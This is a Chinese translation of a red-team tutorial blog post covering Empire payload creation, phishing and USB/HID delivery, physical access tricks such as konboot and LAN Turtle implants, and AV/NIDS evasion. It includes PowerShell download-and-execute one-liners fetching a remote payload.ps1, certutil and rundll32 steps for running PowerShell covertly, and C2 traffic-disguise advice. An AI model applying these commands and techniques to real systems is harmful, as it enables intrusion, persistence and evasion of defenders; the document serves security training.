原文:https://payatu.com/redteaming-zero-one-part-2/
翻译:sn00py@D0g3
本文是上一篇博客的延续-红队测试从0到1 - PART 1,我强烈建议读者先看看上一篇文章再来阅读本文。在上一篇文章中,我介绍了什么是红队测试?红队测试与渗透测试的区别、红队人员的目标、C2/后利用框架的选择以及C2基础设施的建立。
在这一部分,我们将介绍有效载荷的创建、投递以及如何规避AV/NIDS。
Empire为我们提供了各种选项来生成powershell代理,其中包括:exe, dll, Macro, HTA, bat, lnk, SCT, shellcode, bunny, ducky等。
Empire有效载荷选项:
下面是一些有效载荷创建技术:
这里,有效载荷的整个第一阶段是经过base64编码的,并使用Powershell iex(Invoke Expression)执行。一但执行,它将从C2服务器进一步下载完整的Powershell代理。这个一句话的Powershell的有效载荷可以嵌入到宏指令、HTA文件文件中,也可以作为OLE对象嵌入。但这一阶段极有可能被AV检测到。
Powershell -W Hidden -nop -noni -enc <base64 payload> -> 解码并执行base64有效载荷
base64编码的一句话powershell有效载荷:
从远程服务器下载和执行文件有很多种方法,我们可以使用Powershell,Wscript,mshta,rundll32,Wmic,regsvr32,MSBuild等来实现。
除了用powershell直接执行base64编码的有效载荷,我们还可以用它来下载ps1文件并执行。这有很大概率会被AV检测到,但也有一些逃避AV的方法,我们会在后文的AV逃避部分讲到。
Powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘http://webserver/payload.ps1’)|iex” -> 使用系统代理下载并执行ps1文件
powershell一句话下载并执行有效载荷:
这是由@arno0x0x编写的优秀代码,使用一句话在windows上下载并执行任意代码。
在测试过程中,如果我们通过电子邮件发送的有效载荷投递失败或被检测到,那么可以尝试使用HID设备(如bash bunny或橡皮鸭)进行物理入侵。几乎所有重视安全的企业都禁用了USB,所以不要再妄想插入闪存驱动了。根据我的经验,在真实交战中,HID攻击的成功率很高。
你可以使用不同的文件拓展名(如bat、SCT、lnk等)执行powershell有效载荷,也可以把整个Empire powershell有效载荷写入到橡皮鸭来执行。它被发现的机会很小,但是文件落地到磁盘,会留下较多的取证证据。
Empire生成的Vbs脚本:
由于powershell被恶意软件严重滥用,许多公司要么完全阻止powershell运行,要么开启了所有powershell日志记录模块,然后将其传递给中央日志分析工具,如果发现任何可疑活动,就可能触发警报。如果powershell被阻止运行,我们可以在不启动powershell.exe的情况下执行powershell。这可以通过多种方式实现:
我们可以只用dll文件运行powershell脚本,而不需要访问powershell.exe。如果我们不能直接将dll文件传输到远程机器上,那么可以使用带certutil命令的HID设备构建dll文件。然后使用该dll文件执行powershell代码或脚本。
> base64 Powershdll.dll > Powershdll_b64.txt (把dll文件转换成base64,然后使用HID设备传输到受害者机器上)
> certutil -decode Powershdll_b64.txt output.dll (把base64解码成dll文件)
> rundll32 output,main “Powershell script”
使用Powershdll运行base64编码脚本:
> rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex
当Powershell.exe被禁用时,还有多种其他技术可以执行Powershell代码。你可以使用MSBuild utility来构建自己的exe文件,也可以构建一个不调用Powershell.exe的SCT文件。
在往公司内网投递有效载荷时,主要有两种方式:
一个精心制作的鱼叉式钓鱼邮件足以使一个公司陷入瘫痪,但随着企业对邮件安全的重视,通过邮件投递有效载荷变得越来越困难了。邮件中的附件和下载链接将经过一系列安全设备的检查,所以你的有效载荷必须绕过这些设备,才能在目标计算机上执行。
它必须至少绕过收件人的邮件安全网关、web过滤器以及端点保护。它还取决于你如何迁入你的有效载荷以及目标机器上安装的防护软件。
在撰写本文时,我有3种方式通过邮件的附件/下载链接投递有效载荷。
不要期望通过邮件投递有效载荷的其他方式在当前的场景下成功,除非在目标企业防护很弱的情况下,你可以一试。
通过电子邮件投递有效载荷的风险是,如果你的有效载荷被端点保护检测出来,蓝队可能会开始调查它,并在企业内部拦截你的钓鱼域名,导致你以后无法发送任何钓鱼邮件到该电子邮件服务器。
另一种方法是在解密实际的有效载荷之前,让恶意软件检查具体的windows域。如果蓝队尝试在沙箱或虚拟环境下分析你的恶意软件,他们将无法找到你的C2域名,因为它保持加密状态,只在正确的windows域下暴露出来。这将确保有效载荷仅在具有我们已设置的指定Windows域的活动目录环境中解密和执行。对于其他人来说,它只是一个加密块。同样,你也可以让你的有效载荷检查公网IP地址,而不是widnows域,这将确保它在你希望的企业中执行。
几乎所有大型企业,任何USB接口上的大容量存储设备都会被Active directory(活动目录)或DLP(数据丢失防护)端点软件强制执行的策略阻止。因此,在任何系统中插入闪存驱动器都是不可能的。我们必须找到某些无人值守/锁定的系统。如果能找到未锁定的系统,哪怕就几秒钟,事情也会变得简单很多。或者利用社会工程学伪装成IT工作人员,接近一些员工让他们把没锁定的系统给我们操作几分钟。在时间足够的情况下,即使系统被锁定,我们也可以用konboot绕过密码登陆。
这是一个装在USB驱动器中的实用程序,它上面运行着一个小型的便携式Linux系统。你需要将其插入并重新启动系统。它在运行时进行了一些更改,你无需输入任何密码即可登录Windows系统。与其他密码破解工具相比,使用这个工具的好处是,它只删除一次密码,在下一次启动时,系统会像之前那样正常工作。它既不会从SAM中删除密码也不会更改它,十分隐蔽,不会引起注意,因为当员工下次登录时,他不会发现任何可疑的迹象。
对于连接到域的系统来说,这里有一个简便的技巧,因为身份验证是在域控制器中进行的,而非本地。拔掉LAN电缆,再插入konboot usb,然后重启系统。我不确定这是如何工作的,但它以某种方式从缓存本地进行身份验证,并且不会尝试连接到AD。绕过密码后,你可以再次插入LAN电缆成为域用户。
记下那里的网络详细信息(IP地址,网关,子网掩码,MAC地址),这能方便以后的网络植入。或者如果你想将kali机器连接到本地网络,考虑到IP分配是静态的这一事实并且有NAC(网络访问控制),用于检查连接到网络的有效设备。
konboot Windows版的商业许可证价格约为75美元。如果驱动器被加密,则无法工作,因为操作系统需要密码才能解密。
当我们面前有一个未锁屏的系统时,只需要几秒钟,我们就可以使用可模拟为键盘的USB HID设备,自动输入所有有效载荷。系统会将其检测为键盘,从而允许它运行。有多种不同的HID设备可供选择,如果你想便宜一点的话,也可以使用Adruino pro micro自己做一个。但我更喜欢来自Hak5的Rubber ducky 和Bash bunny,它包装精美,隐蔽,非常容易设置并且bash bunny有很多选项。你还可以使用kali Nethunter将Android手机模拟为HID设备。
你可以把你的有效载荷放在rubber duckies/bash bunny里,一旦插上,它会自动打开cmd、Powershell或记事本并在几秒钟内输入你的有效载荷,或者你可以用它来创建.bat、.vbsript或.HTA文件并执行它。使用不接触磁盘而在内存中运行的有效载荷总是更好的,一个很好的例子就是Powershell Invoke-Expression。它允许你在内存中运行Powershell脚本而不接触磁盘,从而最大限度地降低被检测的风险。
你可以在目标建筑物周围放下几只rubber duckies(如果你不怕弄丢的话),然后等待有人将它插入系统中。不过这也存在一些风险,因为屏幕上会发生一些事情,可能会引起怀疑。
Hak5开发了一些优秀的硬件设备,可以在红队测试期间用作远程后门。我最喜欢的设备之一是LAN Turtle。你可以将其与LAN线一起插入CPU,或者将任何LAN线插入其中,然后使用USB充电器为其供电。因为它体积小,设计轻巧,如果放在合适的位置,可能会隐藏数周/月。
它有很多令人惊叹的功能,如AutoSSH / OpenVPN。我个人建议使用OpenVPN客户端模块,它能让你连接到目标企业的网络,通过它你可以进行进一步的利用。你还可以使用LAN Turtle中的响应程序模块捕获NTLM Hash并使用Hash访问其他计算机。当你坐在沙发上看电影时,它就能让你进入目标的网络!
我不是AV逃避方面的软件,但是经过大量的阅读和实验,我得到了一些适合我的基本技术。在撰写本文时,我可以绕过一些最常用的企业级端点保护软件,这些软件和一些商业NIDS一起工作在打满补丁的最新版Win7上。根据我的经验,为了逃避AV和IDS,你首先需要了解它们的实际工作方式。你越了解它们如何将某些程序标记为恶意程序,你就越有机会逃避。
我不想透露对我有用的技术细节,因为它可能对你不起作用。在撰写本文时对我有用的内容可能不适合您,因为AV供应商可能会更新其检测技术或签名,但我会说明有关AV逃避的一些重要思路:
从互联网下载的可执行文件都将通过一系列安全产品的大量检查。AV使用启发式算法,尝试在沙箱中执行它,并通过逆向工程检查恶意软件的签名是否是已知的。此外,如果它是未签名的二进制文件,由于系统上部署的策略,它可能无法执行。
Windows系统附带大量预装工具,如Powershell,WMI,mshta,Wscript,regsvr32等,可用于下载/执行恶意软件。使用系统自带的程序的优点是我们可以轻松绕过应用程序限制,因为这些是合法签名的Windows二进制文件,它会使攻击看起来不那么可疑。
最近,Powershell被恶意软件严重滥用,AV供应商也更新了他们的签名,可以检测出互联网上几乎任何框架创建的默认有效载荷。尽管如此,绕过大多数基于签名的AV检测还不是很困难。
Win 10上预装了AMSI(防恶意程序扫描接口),这使得逃避变得更加困难,但好在多数大型企业的基础设施仍然是Win 7。我将在了解更多关于AMSI的技术后更新这个博客。
我用混淆成功绕过了大多数端点保护软件。非常感谢@danielhbohannon创建了一些非常棒的混淆工具。他创建了4个关于混淆的利器,这对红队和蓝队都有帮助:
Invoke-Obfuscation
Revoke-Obfuscation
Invoke-CradleCrafter
Invoke-DOSfuscation
我建议阅读本博客的同学玩玩这些框架,并学习如何自定义更多的默认输出。
未经混淆的powershell命令:
Write-Host ‘Test Obfuscation’ -Import test
混淆后:
.(“{2}{1}{0}”-f ‘t’,’s’,’Write-Ho’) (“{2}{5}{1}{3}{0}{4}”-f’scatio’,’st ‘,’T’,’Obfu’,’n’,’e’) -Import (“{1}{0}”-f ‘est’,’t’)
Invoke-Obfuscation:
另外两个伟大的项目是Veil和Shellter。不过,我从未在任何真正的测试中用过它们,因为它们主要处理可执行文件。
现代端点保护还内置了一些基于主机的IDS功能,例如检查恶意主机流量,Web信誉等,我们将在NIDS规避中讨论这些功能。
在我们成功绕过端点保护之后,我们还需要绕过企业级NIDS系统。从广义上讲,NIDS可以分为两类:
基于签名的NIDS将网络流量与任何已知的恶意软件流量规则进行匹配。规则中包括C2服务器域名,使用的协议,URL,User-Agent,服务器版本,默认页面等。
在Empire中,这些C2指纹很容易修改。NIDS数据库具有Empire默认流量以及其他已知主要框架的网络流量规则。只要我们的网络规则够特别,就可以轻松绕过基于签名的NIDS。下面的截图Empire代理的HTTP流量,它看起来类似于普通的网络流量。我们修改了默认的C2指纹,如C2 URL,User-Agent,服务器标头,响应HTML正文等。
自定义Empire代理C2通信HTTP流量:
基于Anamoly的NIDS与基于签名的IDS工作原理不同。基于anamoly的IDS构建了一种企业内正常流量的规则。他们将这些数据输入机器学习算法。如果IDS发现与正常流量规则不匹配的流量,就会将其标记为恶意流量。如果我们可以将我们的C2流量混淆成正常流量,就可以绕过讨厌的IDS。
下面我将陈述一些逃避NIDS的观点:
在选择C2协议时,你有多种选择。有效载荷可以使用TCP,HTTP(s),DNS,ICMP或自定义协议与C2通信。逃避检测的最佳方法是混合流量。例如,如下图所示,Meterpreter与C2服务器保持恒定的TCP连接。这种流量模式具有很强的可预见性,因此很容易被检测到。
如果我们使用自定义C2协议,也可能会产生怀疑,因为自定义协议不在正常流量数据集中。混淆的最佳方法之一是使用常用的协议,如HTTP或DNS。使用HTTP时,我们可以轻松混入正常的网络流量。在这里,我们将Empire C2服务器设置为Microsoft的Live电子邮件服务器。我们也可以使用DNS进行C2通信,但它有局限性。当使用DNS作为C2协议时,数据传输速度将非常慢,并且网络中将产生数千个加密的DNS请求,这可能会引起怀疑。C2协议的选择完全取决于你的目标组织。
使用自定义延迟和抖动的Empre HTTP流量:
切勿使用IP地址与C2服务器通信。任何好的NIDS都会阻止到一个IP地址的重复连接,并且你的C2流量会在其他流量中显得突出。因为正常情况下,web通信都是通过域名进行的。在NIDS规避方面,C2服务器使用的域名也很重要。如果你的C2域名声誉不好,那么NIDS可能会彻底阻止你的域与系统进行通信。如果你要购买二手域名,请务必检查域名的声誉。
尽量从医疗保健或金融等特定类别购买域名,因为由于合规性问题,IDS检查或阻止该类域名的SSL连接的可能性较小。
还要尽量使用老一点的域名,新购买的域名更容易引起怀疑。
如果你使用常用的协议(如HTTP / DNS),那么你已经混入到了正常流量中。不过,如果你使用默认时间间隔与C2通信,基于anamoly的NIDS仍然可以轻松检测出来。
你应该将代理的回调时间从默认值(5s)增加到更大的值。使用抖动和更长的延迟将实现真正的混淆。增加回调时间还是比较痛苦的,因为执行一个命令后你必须等待相应的事件。你必须在两者之间找到合适的平衡点。
虽然Empire使用加密的POST请求传输C2流量,但这并不足以绕过NIDS。通常,普通网络流量不会加密整个http POST主体,这可能会引起怀疑。以下是正常Empire通信的截图:
IDS可以清楚地看到你的整个网络流量,解析并分析它。如果是HTTP流量,则会更加可疑。许多NIDS只是不检查SSL流量。这还在很大程度上取决于目标企业如何部署其IDS以及它们是否解密了SSL流量以进行数据包检查。
最好将SSL用于C2流量,并使用来自正规CA授权商的有效签名的证书。我们已经在C2基础设施部分中讨论过如何为C2设置SSL。
通过SSL加密的Empire C2数据:
AV / NIDS逃避就像是猫和老鼠的游戏。我在上面讨论的技术在撰写本文时依然有效,但当你在系统上尝试时,它可能已经失效。本文的目的是教导初学者,当我们作为红队的一员时所需要考虑的事情,目标也仅限于在网络中获得一个初步的立足点。我在博客中所言的所有观点都不是绝对的,你需要根据实际情况和目标的安全策略,来确定所需的C2框架、通信协议、AV规避技术、C2配置、C2基础设施等。
例如,如果你曾与银行企业合作过,你就会知道许多银行的基础设施已经实施了IP白名单。它们的内部系统将只连接到IDS规则集中预定义的指定IP地址。在这种情况下,你可以使用DNS进行C2通信,这将帮助你绕过IP白名单,因为我们没有连接到任何用于C2通信的IP地址。Cobalt Strike具有非常出色的DNS通信功能。
整篇文章的关键是,红队总是会找到一种方法来绕过最新的防御技术/软件,而蓝队必须不断地实施新的技术来保护他们的组织。这势必是一场持久战,所谓兵马未动,粮草先行,准备更充分的队伍终将获胜。